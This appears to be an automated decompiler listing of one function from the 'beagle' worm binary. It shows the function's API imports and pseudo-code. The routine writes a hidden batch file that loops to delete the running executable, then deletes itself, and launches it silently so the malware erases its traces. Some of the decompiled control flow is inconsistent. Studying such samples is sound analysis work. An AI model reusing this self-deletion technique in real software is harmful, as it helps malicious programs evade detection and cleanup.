Private Function beagle.usub_401159.txt

Calls out:


DLL:kernel32.ExitProcess
DLL:SHELL32.ShellExecuteA
DLL:user32.wsprintfA
DLL:kernel32.CloseHandle
DLL:kernel32.WriteFile
DLL:kernel32.lstrlenA
DLL:kernel32.CreateFileA
DLL:kernel32.lstrcpyA
DLL:shlwapi.StrRChrA
DLL:kernel32.GetModuleFileNameA
DLL:kernel32.GlobalAlloc

Incoming calls for beagle.usub_401159.txt


beagle.usub_4010dd.txt
beagle.usub_4010dd.txt
beagle.usub_4010dd.txt

Decompiled source code follows:

If (#INCOMING-ARG-edx <= 51)
      BLocal1 = (#INCOMING-ARG-edx + 65)
      If (Flag Isn't Set)
            BLocal1 = ((#INCOMING-ARG-edx + 65) + 6)
      End If
BLocal2 = #INCOMING-ARG-edx
Else
      BLocal2 = (BLocal1 + 252)
End If
Return #INCOMING-ARG-eax
FLocal1 = GlobalAlloc(64,1024)
FLocal2 = GlobalAlloc(64,1024)
FLocal3 = GlobalAlloc(64,1024)
GetModuleFileNameA(0,FLocal1,260)
lstrcpyA(FLocal2,FLocal1)
FLocal6 = StrRChrA(FLocal2,NULL,92)
If (FLocal6 != 0)
Else
      lstrcpyA((FLocal6 + 1),"a.bat")
      FLocal8 = CreateFileA(FLocal2,3221225472,3,0,2,0,0)
      If (FLocal8 + 1)
             lstrlenA( ":l del %1 if exist %1 goto l del %0")
            WriteFile(FLocal8,4216467,BLocal2,FLocal2,0)
            CloseHandle(FLocal8)
            wsprintfA(FLocal3,"\"%s\"",FLocal1)
            ShellExecuteA(0,"open",FLocal2,FLocal3,NULL,0)
      End If
End If
Return ExitProcess(0)
End Sub